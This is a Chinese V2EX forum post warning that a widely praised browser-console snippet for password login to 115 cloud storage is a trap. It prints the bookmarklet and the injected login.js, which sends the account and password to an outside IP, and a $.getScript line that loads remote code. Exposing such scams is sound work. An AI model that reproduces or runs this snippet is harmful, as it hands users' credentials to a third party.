115 网盘的强制二维码登录很烦,不想装他家的 App 也不想装他家的浏览器,所以想看看有没有啥办法用普通浏览器输账号密码登陆。
在网上开始搜索信息,搜索到结果大同小异啦,什么福*吧,吾爱*解之类的,随便点个帖子进去。发现在 console 里输点代码就可以了哈,用起来还挺简单的嘛~我喜欢!再一看帖子评分,哟,这么多好评,妥妥的精华帖啊!
然而。。。机智的我在把代码贴到 console 里之前多看了一眼
javascript:(function(){window.my115Server='http://139.129.47.212:3000/';var a=document.createElement('script');a.type='text/javascript';a.src=my115Server+'login.js';document.getElementsByTagName('head')[0].appendChild(a)})()
哈,其实就是注入了http://139.129.47.212:3000/login.js
嘛,直接把代码下下来学习一下~涨涨姿势水平嘛。
login.js 的内容是这样的
$('a[lgb-nav="login"]').click()
$('div[lg_rel="download"]').hide()
$('div[lg_rel="login"]').show()
var browserInterface = {
LoginEncrypt: function LoginEncrypt(env, callback) {
alert('\u5927\u5BB6\u6362\u8FD9\u4E2A\u811A\u672C\u5427, \u6700\u8FD1\u516C\u53F8\u5B9E\u5728\u592A\u5FD9\u4E860.0 https://github.com/kkHAIKE/fake115');
return false;
var server = (typeof my115Server)=='undefined'? 'http://192.168.31.110:3000/': my115Server;
var rTime;
function processDec(r) {
json = $.parseJSON(r.responseText);
if (!json.state) {
window[callback](r.responseText);
} else {
console.log('ok');
$.post(server, {body: json.data,time: rTime})
.success(function (r) {
var cookie = $.parseJSON(r.body).cookie;
var d = new Date();
d.setTime(d.getTime() + (7*24*60*60*1000));
for (var i in cookie) if ( cookie.hasOwnProperty(i) ) {
document.cookie = (i+'='+escape(cookie[i])+';expires='+d.toUTCString()+';domain='+'.115.com');
}
console.log('done');
location.reload();
});
}
}
var dat = {
account: $('#js-account').val(),
passwd: $('#js-passwd').val()
};
if (env.hasOwnProperty('country')) {
dat['country'] = env['country'];
}
$.post(server, dat)
.success(function (r) {
console.log(r);
rTime = r.time;
var settings = {
url: oofUtil.paths.PASSPORT + '/?'+$.param(r.headers),
cache: false,
type: 'POST',
data: {data: r.body, goto: ''},
complete: processDec
};
oofUtil.bridge.passport(settings);
});
}
};
window.browserInterface = browserInterface;
缩水一下的话呢,就是下面这样
...
alert('大家换这个脚本吧, 最近公司实在太忙了 0.0 https://github.com/kkHAIKE/fake115');
...
var server = (typeof my115Server)=='undefined'? 'http://192.168.31.110:3000/': my115Server;
...
var dat = {
account: $('#js-account').val(),
passwd: $('#js-passwd').val()
};
$.post(server, dat);
额,同学,你这有点侮辱我们智商啊。。。你对我的账号密码做了什么??而且,192.168.31.110
是什么鬼?难道是之前就被人发现了所以把服务器地址改掉了?
再打开其他几个搜索到的帖子发现,这段脚本还常常以这种形式出现
$.getScript('https://coding.net/u/imspace/p/m115p/git/raw/master/ref.js')
啊,于是。。。
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.